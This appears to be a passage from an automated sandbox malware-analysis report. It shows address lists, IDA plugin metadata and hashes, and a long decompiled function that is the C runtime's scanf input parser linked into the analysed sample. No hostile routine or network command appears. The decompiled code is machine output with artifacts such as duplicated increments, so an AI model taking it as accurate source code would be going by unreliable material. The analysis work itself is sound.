0x0042fadd
0x0042fadd
0x0042fadb
0x0042fade
0x0042fae5
0x00000000
0x0042fae7
0x0042faec
0x0042fb08
0x0042fb10
0x0042fb1d
0x0042fb22
0x004309e1
0x004309ee
0x004309ee
0x0042fae5
0x0042fa88
0x0043091d
0x0043091d
0x00430924
0x0043093b
0x0043093b
0x00430945
0x00430945
0x0043094b
0x00430951
0x00430958
0x0043095a
0x0043095f
0x00430961
0x00430966
0x0043096b
0x0043096d
0x00430972
0x00430975
0x00430978
0x0043097a
0x0043097a
0x00430978
0x0043097b
0x00430982
0x004309cd
0x004309d6
0x004309db
0x00430984
0x00430989
0x004309a5
0x004309ad
0x004309ba
0x004309bf
0x004309bf
0x00000000
0x00430982
0x00430926
0x00430926
0x0043092d
0x00000000
0x00000000
0x0043092f
0x0043092f
0x00000000
0x0043092f
0x00430712
0x004306e9
0x004306e9
0x004306ed
0x004306fa
0x004306fd
0x00430700
0x00430703
0x00430706
0x00430709
0x0043070c
0x0043070c
0x0043070f
0x00000000
0x0043070f
0x004306ef
0x004306ef
0x004306f2
0x004306f5
0x004306f8
0x00000000
0x00000000
0x00000000
0x004306f8
0x00430651
0x00430651
0x00430654
0x00430657
0x0043065e
0x00430665
0x0043066d
0x00430673
0x00430676
0x00430679
0x00430680
0x0043068c
0x00430692
0x00430698
0x0043069f
0x004306a1
0x004306a7
0x004306a7
0x004306ad
0x004306ad
0x004306b3
0x004306b6
0x004306bc
0x004306c1
0x004306c4
0x00430633
0x00430633
0x00430639
0x0043063c
0x0043063f
0x00430641
0x00000000
0x00000000
0x00000000
0x00430641
0x00430633
0x00430573
0x00430573
0x0043057a
0x00000000
0x00000000
0x00000000
0x004305a8
0x004305a8
0x004305ae
0x004305b4
0x004305ba
0x00000000
0x004305ba
0x0043048a
0x00430441

APIs

_get_int64_arg.LIBCMTD ref: 00430498
__aullrem.LIBCMT ref: 00430665
__aulldiv.LIBCMT ref: 00430687

Strings

9, xrefs: 00430698
0, xrefs: 00430453
', xrefs: 00430437

Memory Dump Source

Source File: 00000000.00000002.660207840.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.660193353.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660246585.000000000043D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660259740.000000000044D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.660264404.0000000000454000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.660273004.000000000045E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_7NAzyCWRyM.jbxd

Similarity

API ID: __aulldiv__aullrem_get_int64_arg
String ID: '$0$9
API String ID: 3120068967-269856862
Opcode ID: b7085d290d949adb143d6c1aa2f787c3e240f7a16d31ec6a864533fc4fc2f05a
Instruction ID: ec41191c23d0d1f515ab896ffa68b9ad94fd3d35c221d50b6b1e085a37dbd024
Opcode Fuzzy Hash: b7085d290d949adb143d6c1aa2f787c3e240f7a16d31ec6a864533fc4fc2f05a
Instruction Fuzzy Hash: 094108B1D06229DFDB24CF48C899BAEB7B5FB88304F1496DAD408A7245C7389E85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 00425E1D, Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 92
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00425E1D(void* __edi) {
				signed int _t821;
				void* _t826;
				signed int _t834;
				signed char _t838;
				signed int _t841;
				intOrPtr _t843;
				signed int _t854;
				signed char _t935;
				signed char _t937;
				signed int _t940;
				signed int _t944;
				signed int _t947;
				signed int _t953;
				signed int _t958;
				signed int _t960;
				signed int _t963;
				signed int _t966;
				signed char _t969;
				signed char _t973;
				signed int _t974;
				void* _t980;
				signed int _t983;
				signed int _t986;
				signed char _t996;
				signed char _t1001;
				signed char _t1002;
				signed char _t1005;
				signed int _t1009;
				void* _t1011;
				signed int _t1024;
				signed int _t1029;
				signed int _t1036;
				signed int _t1113;
				signed int _t1119;
				signed int _t1121;
				signed int _t1123;
				signed int _t1131;
				signed int _t1137;
				signed int _t1145;
				signed int _t1160;
				signed int _t1166;
				signed int _t1232;
				signed int _t1237;
				signed int _t1241;
				signed int _t1242;
				signed int _t1244;
				signed int _t1245;
				signed int _t1246;
				void* _t1250;
				void* _t1251;
				signed int _t1252;
				void* _t1254;
				void* _t1257;
				void* _t1261;

				_t1250 = __edi;
				L176:
				while(1) {
					L176:
					while(1) {
						do {
							if( *(_t1252 - 0x21c) != 0x30) {
								L189:
								L198:
								while(1) {
									L198:
									while(1) {
										do {
											if( *(_t1252 - 0x30) == 0) {
												while(1) {
													if( *(_t1252 - 0x1e) != 0) {
														break;
													}
													if( *(_t1252 - 0x44) == 0x78) {
														L229:
														_t1111 =  *(_t1252 - 0x21c) & 0x000000ff;
														_t963 = E00432800(_t1011, _t1250, _t1251,  *(_t1252 - 0x21c) & 0x000000ff);
														_t1254 = _t1254 + 4;
														if(_t963 == 0) {
															_t1113 =  *(_t1252 - 0x1e) + 1;
															 *(_t1252 - 0x1e) = _t1113;
														} else {
															 *(_t1252 - 0x220) =  *(_t1252 - 0x220) << 4;
															_t973 = E00426C90(_t1111,  *(_t1252 - 0x21c) & 0x000000ff);
															_t1254 = _t1254 + 4;
															 *(_t1252 - 0x21c) = _t973;
														}
														L242:
														if( *(_t1252 - 0x1e) != 0) {
															_t966 =  *(_t1252 - 0xc) - 1;
															 *(_t1252 - 0xc) = _t966;
															_t1146 =  *(_t1252 - 0x21c);
															E00426D30( *(_t1252 - 0x21c),  *(_t1252 + 8));
															_t1254 = _t1254 + 8;
															L249:
															continue;
														}
														 *(_t1252 - 0x1f4) =  *(_t1252 - 0x1f4) + 1;
														 *(_t1252 - 0x220) =  *(_t1252 - 0x220) +  *(_t1252 - 0x21c) - 0x30;
														if( *(_t1252 - 0x1f0) == 0) {
															L246:
															_t1119 =  *(_t1252 - 0xc) + 1;
															 *(_t1252 - 0xc) = _t1119;
															_t1146 =  *(_t1252 + 8);
															_t969 = E00426CD0(_t1119,  *(_t1252 + 8));
															_t1254 = _t1254 + 4;
															 *(_t1252 - 0x21c) = _t969;
															L247:
															goto L249;
														}
														_t1146 =  *(_t1252 - 0x78) - 1;
														 *(_t1252 - 0x78) = _t1146;
														if(_t1146 != 0) {
															goto L246;
														}
														 *(_t1252 - 0x1e) =  *(_t1252 - 0x1e) + 1;
														goto L247;
													}
													if( *(_t1252 - 0x44) != 0x70) {
														_t974 = E00432740(_t1011, _t1250, _t1251,  *(_t1252 - 0x21c) & 0x000000ff);
														_t1254 = _t1254 + 4;
														if(_t974 == 0) {
															_t1232 =  *(_t1252 - 0x1e) + 1;
															 *(_t1252 - 0x1e) = _t1232;
														} else {
															if( *(_t1252 - 0x44) != 0x6f) {
																_t1121 =  *(_t1252 - 0x220) +  *(_t1252 - 0x220) * 4 << 1;
																 *(_t1252 - 0x220) = _t1121;
															} else {
																if( *(_t1252 - 0x21c) >= 0x38) {
																	_t1123 =  *(_t1252 - 0x1e) + 1;
																	 *(_t1252 - 0x1e) = _t1123;
																} else {
																	 *(_t1252 - 0x220) =  *(_t1252 - 0x220) << 3;
																}
															}
														}
														goto L242;
													}
													goto L229;
												}
												if( *((char*)(_t1252 - 2)) != 0) {
													 *(_t1252 - 0x220) =  ~( *(_t1252 - 0x220));
												}
												L252:
												if( *(_t1252 - 0x44) == 0x46) {
													 *(_t1252 - 0x1f4) = 0;
												}
												if( *(_t1252 - 0x1f4) == 0) {
													goto L335;
												} else {
													if( *((char*)(_t1252 - 0x12)) != 0) {
														L262:
														while(1) {
															 *(_t1252 - 0x1e9) =  *(_t1252 - 0x1e9) + 1;
															 *(_t1252 + 0xc) =  *(_t1252 + 0xc) + 1;
															while(1) {
																L330:
																if( *(_t1252 - 0x21c) != 0xffffffff) {
																	goto L334;
																}
																L331:
																_t1146 =  *(_t1252 + 0xc);
																if(( *( *(_t1252 + 0xc)) & 0x000000ff) != 0x25) {
																	L333:
																	L335:
																	if( *((intOrPtr*)(_t1252 - 0x28)) == 1) {
																		L0041D8B0( *((intOrPtr*)(_t1252 - 0x84)), 2);
																		_t1254 = _t1254 + 8;
																	}
																	if( *(_t1252 - 0x21c) != 0xffffffff) {
																		if( *(_t1252 - 0x24) != 1) {
																			L352:
																			_t1146 =  *(_t1252 - 8);
																			 *(_t1252 - 0x24c) =  *(_t1252 - 8);
																			E0041EA10(_t1252 - 0x214);
																			_t821 =  *(_t1252 - 0x24c);
																			goto L353;
																		}
																		if(0 == 0) {
																			 *(_t1252 - 0x278) = 0;
																		} else {
																			 *(_t1252 - 0x278) = 1;
																		}
																		_t1146 =  *(_t1252 - 0x278);
																		 *(_t1252 - 0x240) =  *(_t1252 - 0x278);
																		if( *(_t1252 - 0x240) == 0) {
																			_push(L"(\"Invalid Input Format\",0)");
																			_push(0);
																			_push(0x563);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\input.c");
																			_push(2);
																			_t826 = L0041F590();
																			_t1254 = _t1254 + 0x14;
																			if(_t826 == 1) {
																				asm("int3");
																			}
																		}
																		if( *(_t1252 - 0x240) != 0) {
																			goto L352;
																		} else {
																			 *((intOrPtr*)(L0041F530(0))) = 0x16;
																			E0041F2C0(_t1011, 0, _t1250, _t1251, L"(\"Invalid Input Format\",0)", L"_input_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\input.c", 0x563, 0);
																			 *(_t1252 - 0x248) =  *(_t1252 - 8);
																			E0041EA10(_t1252 - 0x214);
																			_t821 =  *(_t1252 - 0x248);
																			goto L353;
																		}
																	} else {
																		if( *(_t1252 - 8) != 0) {
																			L341:
																			_t1146 =  *(_t1252 - 8);
																			 *(_t1252 - 0x274) =  *(_t1252 - 8);
																			L342:
																			 *(_t1252 - 0x244) =  *(_t1252 - 0x274);
																			E0041EA10(_t1252 - 0x214);
																			_t821 =  *(_t1252 - 0x244);
																			L353:
																			return E004242B0(_t821, _t1011,  *(_t1252 - 0x50) ^ _t1252, _t1146, _t1250, _t1251);
																		}
																		if( *(_t1252 - 0x1e9) != 0) {
																			goto L341;
																		}
																		 *(_t1252 - 0x274) = 0xffffffff;
																		goto L342;
																	}
																}
																_t1024 =  *(_t1252 + 0xc);
																_t1146 =  *(_t1024 + 1) & 0x000000ff;
																if(( *(_t1024 + 1) & 0x000000ff) == 0x6e) {
																	goto L334;
																}
																goto L333;
																L334:
																while(1) {
																	_t1146 =  *(_t1252 + 0xc);
																	if(( *( *(_t1252 + 0xc)) & 0x000000ff) == 0) {
																		goto L335;
																	}
																	_t834 = E004328C0(_t1011, _t1250, _t1251,  *( *(_t1252 + 0xc)) & 0x000000ff);
																	_t1254 = _t1254 + 4;
																	if(_t834 == 0) {
																		if(( *( *(_t1252 + 0xc)) & 0x000000ff) != 0x25) {
																			L321:
																			if(( *( *(_t1252 + 0xc)) & 0x000000ff) == 0x25) {
																				_t854 =  *(_t1252 + 0xc);
																				if(( *(_t854 + 1) & 0x000000ff) == 0x25) {
																					_t1160 =  *(_t1252 + 0xc) + 1;
																					 *(_t1252 + 0xc) = _t1160;
																				}
																			}
																			 *(_t1252 - 0xc) =  *(_t1252 - 0xc) + 1;
																			_t838 = E00426CD0( *(_t1252 + 8),  *(_t1252 + 8));
																			_t1257 = _t1254 + 4;
																			 *(_t1252 - 0x21c) = _t838;
																			 *(_t1252 + 0xc) =  *(_t1252 + 0xc) + 1;
																			if(( *( *(_t1252 + 0xc)) & 0x000000ff) ==  *(_t1252 - 0x21c)) {
																				L326:
																				_t841 = E0042F0A0( *(_t1252 - 0x21c) & 0x000000ff);
																				_t1254 = _t1257 + 4;
																				if(_t841 == 0) {
																					do {
																						L330:
																						if( *(_t1252 - 0x21c) != 0xffffffff) {
																							goto L334;
																						}
																						goto L331;
																					} while (_t841 == 0);
																				}
																				 *(_t1252 - 0xc) =  *(_t1252 - 0xc) + 1;
																				_t843 = E00426CD0( *(_t1252 - 0xc) + 1,  *(_t1252 + 8));
																				_t1254 = _t1254 + 4;
																				 *((intOrPtr*)(_t1252 - 0x23c)) = _t843;
																				 *(_t1252 + 0xc) =  *(_t1252 + 0xc) + 1;
																				if(( *( *(_t1252 + 0xc)) & 0x000000ff) ==  *((intOrPtr*)(_t1252 - 0x23c))) {
																					_t1029 =  *(_t1252 - 0xc) - 1;
																					 *(_t1252 - 0xc) = _t1029;
																					goto L330;
																				}
																				 *(_t1252 - 0xc) =  *(_t1252 - 0xc) - 1;
																				E00426D30( *((intOrPtr*)(_t1252 - 0x23c)),  *(_t1252 + 8));
																				 *(_t1252 - 0xc) =  *(_t1252 - 0xc) - 1;
																				_t1146 =  *(_t1252 + 8);
																				E00426D30( *(_t1252 - 0x21c),  *(_t1252 + 8));
																				_t1254 = _t1254 + 0x10;
																			} else {
																				 *(_t1252 - 0xc) =  *(_t1252 - 0xc) - 1;
																				_t1146 =  *(_t1252 - 0x21c);
																				E00426D30( *(_t1252 - 0x21c),  *(_t1252 + 8));
																				_t1254 = _t1257 + 8;
																			}
																			goto L335;
																		}
																		_t1036 =  *(_t1252 + 0xc);
																		if(( *(_t1036 + 1) & 0x000000ff) == 0x25) {
																			goto L321;
																		} else {
																			 *(_t1252 - 0x220) = 0;
																			 *((char*)(_t1252 - 0x7d)) = 0;
																			 *(_t1252 - 0x1f4) = 0;
																			 *(_t1252 - 0x1f0) =  *(_t1252 - 0x1f4);
																			 *(_t1252 - 0x78) =  *(_t1252 - 0x1f0);
																			 *(_t1252 - 0x18) = 0;
																			 *(_t1252 - 0x34) =  *(_t1252 - 0x18);
																			 *(_t1252 - 0x40) = 0;
																			 *(_t1252 - 3) = 0;
																			 *((char*)(_t1252 - 2)) =  *(_t1252 - 3);
																			 *((char*)(_t1252 - 0x12)) =  *((intOrPtr*)(_t1252 - 2));
																			 *(_t1252 - 0x1e) =  *((intOrPtr*)(_t1252 - 0x12));
																			 *(_t1252 - 0x29) =  *(_t1252 - 0x1e);
																			 *(_t1252 - 0x215) = 0;
																			 *((char*)(_t1252 - 0x1d)) = 1;
																			 *(_t1252 - 0x30) = 0;
																			while(1) {
																				if( *(_t1252 - 0x1e) != 0) {
																					break;
																				}
																				 *(_t1252 + 0xc) =  *(_t1252 + 0xc) + 1;
																				 *(_t1252 - 0x44) =  *( *(_t1252 + 0xc)) & 0x000000ff;
																				_t944 = E00432740(_t1011, _t1250, _t1251,  *(_t1252 - 0x44) & 0x000000ff);
																				_t1254 = _t1254 + 4;
																				if(_t944 == 0) {
																					 *(_t1252 - 0x25c) =  *(_t1252 - 0x44);
																					 *(_t1252 - 0x25c) =  *(_t1252 - 0x25c) - 0x2a;
																					if( *(_t1252 - 0x25c) > 0x4d) {
																						L39:
																						_t947 =  *(_t1252 - 0x1e) + 1;
																						 *(_t1252 - 0x1e) = _t947;
																						goto L40;
																					}
																					_t62 =  *(_t1252 - 0x25c) + 0x426af8; // 0x1eff8b06
																					switch( *((intOrPtr*)(( *_t62 & 0x000000ff) * 4 +  &M00426AD8))) {
																						case 0:
																							 *((intOrPtr*)(__ebp - 0x12)) =  *((intOrPtr*)(__ebp - 0x12)) + 1;
																							 *((char*)(__ebp - 0x12)) =  *((intOrPtr*)(__ebp - 0x12)) + 1;
																							goto L40;
																						case 1:
																							goto L40;
																						case 2:
																							__eax =  *(__ebp + 0xc);
																							__ecx =  *(__eax + 1) & 0x000000ff;
																							__eflags = ( *(__eax + 1) & 0x000000ff) - 0x36;
																							if(( *(__eax + 1) & 0x000000ff) != 0x36) {
																								L19:
																								__eax =  *(__ebp + 0xc);
																								__ecx =  *( *(__ebp + 0xc) + 1) & 0x000000ff;
																								__eflags = __ecx - 0x33;
																								if(__ecx != 0x33) {
																									L22:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *(__edx + 1) & 0x000000ff;
																									__eflags = ( *(__edx + 1) & 0x000000ff) - 0x64;
																									if(( *(__edx + 1) & 0x000000ff) == 0x64) {
																										L27:
																										__eax = 0;
																										__eflags = 0;
																										if(0 != 0) {
																											__ecx =  *(__ebp - 0x30);
																											__ecx =  *(__ebp - 0x30) + 1;
																											__eflags = __ecx;
																											 *(__ebp - 0x30) = __ecx;
																											 *(__ebp - 0x200) = 0;
																											 *(__ebp - 0x1fc) = 0;
																										}
																										goto L40;
																									}
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *(__ecx + 1) & 0x000000ff;
																									__eflags = __edx - 0x69;
																									if(__edx == 0x69) {
																										goto L27;
																									}
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc) + 1) & 0x000000ff;
																									__eflags = __ecx - 0x6f;
																									if(__ecx == 0x6f) {
																										goto L27;
																									}
																									__edx =  *(__ebp + 0xc);
																									__eax =  *(__edx + 1) & 0x000000ff;
																									__eflags = ( *(__edx + 1) & 0x000000ff) - 0x78;
																									if(( *(__edx + 1) & 0x000000ff) == 0x78) {
																										goto L27;
																									}
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *(__ecx + 1) & 0x000000ff;
																									__eflags = __edx - 0x58;
																									if(__edx != 0x58) {
																										__edx = 0;
																										__eflags = 0;
																										if(0 != 0) {
																											__eax =  *(__ebp - 0x30);
																											__eax =  *(__ebp - 0x30) + 1;
																											__eflags = __eax;
																											 *(__ebp - 0x30) = __eax;
																											 *(__ebp - 0x200) = 0;
																											 *(__ebp - 0x1fc) = 0;
																										}
																										goto L39;
																									}
																									goto L27;
																								}
																								__edx =  *(__ebp + 0xc);
																								__eax =  *(__edx + 2) & 0x000000ff;
																								__eflags = ( *(__edx + 2) & 0x000000ff) - 0x32;
																								if(( *(__edx + 2) & 0x000000ff) != 0x32) {
																									goto L22;
																								} else {
																									__ecx =  *(__ebp + 0xc);
																									__ecx =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) = __ecx;
																									goto L40;
																								}
																							}
																							__edx =  *(__ebp + 0xc);
																							__eax =  *(__edx + 2) & 0x000000ff;
																							__eflags = ( *(__edx + 2) & 0x000000ff) - 0x34;
																							if(( *(__edx + 2) & 0x000000ff) != 0x34) {
																								goto L19;
																							} else {
																								__ecx =  *(__ebp + 0xc);
																								__ecx =  *(__ebp + 0xc) + 2;
																								 *(__ebp + 0xc) = __ecx;
																								__edx =  *(__ebp - 0x30);
																								__edx =  *(__ebp - 0x30) + 1;
																								 *(__ebp - 0x30) = __edx;
																								 *(__ebp - 0x200) = 0;
																								 *(__ebp - 0x1fc) = 0;
																								goto L40;
																							}
																						case 3:
																							__cl =  *(__ebp - 0x1d);
																							__cl =  *(__ebp - 0x1d) + 1;
																							 *(__ebp - 0x1d) = __cl;
																							goto L40;
																						case 4:
																							__cl =  *(__ebp - 0x1d);
																							__cl =  *(__ebp - 0x1d) - 1;
																							 *(__ebp - 0x1d) = __cl;
																							 *(__ebp - 0x215) =  *(__ebp - 0x215) - 1;
																							 *(__ebp - 0x215) =  *(__ebp - 0x215) - 1;
																							goto L40;
																						case 5:
																							__edx =  *(__ebp + 0xc);
																							__eax =  *(__edx + 1) & 0x000000ff;
																							__eflags = ( *(__edx + 1) & 0x000000ff) - 0x6c;
																							if(( *(__edx + 1) & 0x000000ff) != 0x6c) {
																								__al =  *(__ebp - 0x1d);
																								__al =  *(__ebp - 0x1d) + 1;
																								__eflags = __al;
																								 *(__ebp - 0x1d) = __al;
																								goto L37;
																							} else {
																								__ecx =  *(__ebp + 0xc);
																								__ecx =  *(__ebp + 0xc) + 1;
																								 *(__ebp + 0xc) = __ecx;
																								__edx =  *(__ebp - 0x30);
																								__edx =  *(__ebp - 0x30) + 1;
																								 *(__ebp - 0x30) = __edx;
																								 *(__ebp - 0x200) = 0;
																								 *(__ebp - 0x1fc) = 0;
																								goto L40;
																							}
																						case 6:
																							L37:
																							__cl =  *(__ebp - 0x215);
																							__cl =  *(__ebp - 0x215) + 1;
																							 *(__ebp - 0x215) = __cl;
																							goto L40;
																						case 7:
																							goto L39;
																					}
																				} else {
																					 *(_t1252 - 0x1f0) =  *(_t1252 - 0x1f0) + 1;
																					 *(_t1252 - 0x78) =  *(_t1252 - 0x44) + ( *(_t1252 - 0x78) +  *(_t1252 - 0x78) * 4) * 2 - 0x30;
																					L40:
																					continue;
																				}
																			}
																			if( *((char*)(_t1252 - 0x12)) != 0) {
																				 *(_t1252 - 0x7c) = 0;
																			} else {
																				 *((intOrPtr*)(_t1252 - 0x1c)) =  *((intOrPtr*)(_t1252 + 0x14));
																				 *((intOrPtr*)(_t1252 + 0x14)) =  *((intOrPtr*)(_t1252 + 0x14)) + 4;
																				 *(_t1252 - 0x7c) =  *( *((intOrPtr*)(_t1252 + 0x14)) - 4);
																			}
																			 *(_t1252 - 0x1e) = 0;
																			if( *(_t1252 - 0x215) != 0) {
																				L49:
																				_t1041 =  *(_t1252 + 0xc);
																				_t1146 =  *( *(_t1252 + 0xc)) & 0x000000ff | 0x00000020;
																				 *(_t1252 - 0x44) =  *( *(_t1252 + 0xc)) & 0x000000ff | 0x00000020;
																				if( *(_t1252 - 0x44) == 0x6e) {
																					L54:
																					if( *(_t1252 - 0x44) == 0x6e) {
																						L57:
																						if( *(_t1252 - 0x1f0) == 0) {
																							L59:
																							if( *((char*)(_t1252 - 0x12)) != 0) {
																								L68:
																								 *(_t1252 - 0x260) =  *(_t1252 - 0x44);
																								 *(_t1252 - 0x260) =  *(_t1252 - 0x260) - 0x63;
																								if( *(_t1252 - 0x260) > 0x18) {
																									L313:
																									if(( *( *(_t1252 + 0xc)) & 0x000000ff) ==  *(_t1252 - 0x21c)) {
																										_t1166 =  *(_t1252 - 0x1e9) - 1;
																										 *(_t1252 - 0x1e9) = _t1166;
																										if( *((char*)(_t1252 - 0x12)) == 0) {
																											 *((intOrPtr*)(_t1252 + 0x14)) =  *((intOrPtr*)(_t1252 - 0x1c));
																										}
																										while(1) {
																											 *(_t1252 - 0x1e9) =  *(_t1252 - 0x1e9) + 1;
																											 *(_t1252 + 0xc) =  *(_t1252 + 0xc) + 1;
																											goto L330;
																										}
																									}
																									_t1146 =  *(_t1252 - 0xc) - 1;
																									 *(_t1252 - 0xc) =  *(_t1252 - 0xc) - 1;
																									E00426D30( *(_t1252 - 0x21c),  *(_t1252 + 8));
																									_t1254 = _t1254 + 8;
																									 *(_t1252 - 0x24) = 1;
																									goto L335;
																								}
																								_t184 =  *(_t1252 - 0x260) + 0x426b70; // 0xcccccc08
																								switch( *((intOrPtr*)(( *_t184 & 0x000000ff) * 4 +  &M00426B48))) {
																									case 0:
																										__eflags =  *(_t1252 - 0x1f0);
																										if( *(_t1252 - 0x1f0) == 0) {
																											 *(_t1252 - 0x1f0) =  *(_t1252 - 0x1f0) + 1;
																											_t1206 =  *(_t1252 - 0x78) + 1;
																											__eflags = _t1206;
																											 *(_t1252 - 0x78) = _t1206;
																										}
																										__eflags =  *(_t1252 - 0x215);
																										if( *(_t1252 - 0x215) > 0) {
																											_t1085 =  *(_t1252 - 0x29) + 1;
																											__eflags = _t1085;
																											 *(_t1252 - 0x29) = _t1085;
																										}
																										goto L103;
																									case 1:
																										L191:
																										__eflags =  *(__ebp - 0x21c) - 0x2d;
																										if( *(__ebp - 0x21c) != 0x2d) {
																											goto L193;
																										}
																										__al =  *(__ebp - 2);
																										__al =  *(__ebp - 2) + 1;
																										 *(__ebp - 2) = __al;
																										goto L194;
																									case 2:
																										 *(__ebp - 0x10) = 0;
																										__eflags =  *(__ebp - 0x21c) - 0x2d;
																										if( *(__ebp - 0x21c) != 0x2d) {
																											__eflags =  *(__ebp - 0x21c) - 0x2b;
																											if( *(__ebp - 0x21c) != 0x2b) {
																												L272:
																												__eflags =  *(__ebp - 0x1f0);
																												if( *(__ebp - 0x1f0) == 0) {
																													 *(__ebp - 0x78) = 0xffffffff;
																												}
																												while(1) {
																													__ecx =  *(__ebp - 0x21c) & 0x000000ff;
																													__eax = E00432740(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																													__eflags = __eax;
																													if(__eax == 0) {
																														break;
																													}
																													__edx =  *(__ebp - 0x78);
																													 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																													 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																													__eflags =  *(__ebp - 0x78);
																													if( *(__ebp - 0x78) == 0) {
																														break;
																													}
																													 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																													 *(__ebp - 0x1f4) =  *(__ebp - 0x1f4) + 1;
																													 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																													__al =  *(__ebp - 0x21c);
																													 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = __al;
																													 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																													 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																													__edx = __ebp - 0x28;
																													__eax = __ebp - 0x1e8;
																													__ecx = __ebp - 0x84;
																													__edx = __ebp - 0x204;
																													__eax =  *(__ebp - 0x10);
																													__eax = E00426B90(__ebx, __ecx, __edi, __esi,  *(__ebp - 0x10), __ebp - 0x204, __ecx, __ebp - 0x1e8, __ebp - 0x28);
																													__eflags = __eax;
																													if(__eax != 0) {
																														__ecx =  *(__ebp - 0xc);
																														__ecx =  *(__ebp - 0xc) + 1;
																														 *(__ebp - 0xc) = __ecx;
																														__edx =  *(__ebp + 8);
																														 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																														continue;
																													}
																													goto L335;
																												}
																												__eax = __ebp - 0x214;
																												__eax = E00425070(__ebp - 0x214);
																												__ecx =  *__eax;
																												__dl =  *( *__eax);
																												 *((char*)(__ebp - 1)) =  *( *__eax);
																												__eax =  *((char*)(__ebp - 1));
																												__ecx =  *(__ebp - 0x21c);
																												__eflags =  *((char*)(__ebp - 1)) -  *(__ebp - 0x21c);
																												if( *((char*)(__ebp - 1)) !=  *(__ebp - 0x21c)) {
																													L288:
																													__eflags =  *(__ebp - 0x1f4);
																													if( *(__ebp - 0x1f4) == 0) {
																														L307:
																														 *(__ebp - 0xc) =  *(__ebp - 0xc) - 1;
																														 *(__ebp - 0xc) =  *(__ebp - 0xc) - 1;
																														__eax =  *(__ebp + 8);
																														__ecx =  *(__ebp - 0x21c);
																														__eax = E00426D30( *(__ebp - 0x21c),  *(__ebp + 8));
																														__eflags =  *(__ebp - 0x1f4);
																														if( *(__ebp - 0x1f4) == 0) {
																															goto L335;
																														}
																														__edx =  *((char*)(__ebp - 0x12));
																														__eflags = __edx;
																														if(__edx == 0) {
																															 *((intOrPtr*)(__ebp - 8)) =  *((intOrPtr*)(__ebp - 8)) + 1;
																															 *((intOrPtr*)(__ebp - 8)) =  *((intOrPtr*)(__ebp - 8)) + 1;
																															 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																															 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0;
																															__ecx = __ebp - 0x214;
																															_push(E0041EA40(__ebp - 0x214));
																															__edx =  *(__ebp - 0x84);
																															_push( *(__ebp - 0x84));
																															__eax =  *(__ebp - 0x7c);
																															_push( *(__ebp - 0x7c));
																															__ecx =  *(__ebp - 0x1d);
																															__ecx =  *(__ebp - 0x1d) - 1;
																															__eflags = __ecx;
																															_push(__ecx);
																															__edx =  *0x43de8c; // 0xfb3c7abe
																															E00427990(__edx) =  *__eax();
																															__esp = __esp + 0x10;
																														}
																														 *(_t1252 - 0x1e9) =  *(_t1252 - 0x1e9) + 1;
																														 *(_t1252 + 0xc) =  *(_t1252 + 0xc) + 1;
																														goto L330;
																													}
																													__eflags =  *(__ebp - 0x21c) - 0x65;
																													if( *(__ebp - 0x21c) == 0x65) {
																														L291:
																														__ecx =  *(__ebp - 0x78);
																														 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																														 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																														__eflags =  *(__ebp - 0x78);
																														if( *(__ebp - 0x78) == 0) {
																															goto L307;
																														}
																														 *(__ebp - 0x84) =  *(__ebp - 0x84) +  *(__ebp - 0x10);
																														 *( *(__ebp - 0x84) +  *(__ebp - 0x10)) = 0x65;
																														 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																														 *(__ebp - 0x10) =  *(__ebp - 0x10) + 1;
																														__edx = __ebp - 0x28;
																														__eax = __ebp - 0x1e8;
																														__ecx = __ebp - 0x84;
																														__edx = __ebp - 0x204;
																														__eax =  *(__ebp - 0x10);
																														__eax = E00426B90(__ebx, __ecx, __edi, __esi,  *(__ebp - 0x10), __ebp - 0x204, __ecx, __ebp - 0x1e8, __ebp - 0x28);
																														__eflags = __eax;
																														if(__eax != 0) {
																															__ecx =  *(__ebp - 0xc);
																															__ecx =  *(__ebp - 0xc) + 1;
																															 *(__ebp - 0xc) = __ecx;
																															__edx =  *(__ebp + 8);
																															 *(__ebp - 0x21c) = E00426CD0(__ecx,  *(__ebp + 8));
																															__eflags =  *(__ebp - 0x21c) - 0x2d;
																															if( *(__ebp - 0x21c) != 0x2d) {
																																__eflags =  *(__ebp - 0x21c) - 0x2b;
																																if( *(__ebp - 0x21c) != 0x2b) {
																																	while(1) {
																																		L302:
																																		__eax =  *(__ebp - 0x21c) & 0x000000ff;
																																		__eax = E00432740(__ebx, __edi, __esi,  *(__ebp - 0x21c) & 0x000000ff);
																																		__eflags = __eax;
																																		if(__eax == 0) {
																																			goto L307;
																																		}
																																		__ecx =  *(__ebp - 0x78);
																																		 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																																		 *(__ebp - 0x78) =  *(__ebp - 0x78) - 1;
																																		__eflags =  *(__ebp - 0x78);
																																		if( *(__ebp - 0x78) == 0) {
																																			goto L307;
																																		}
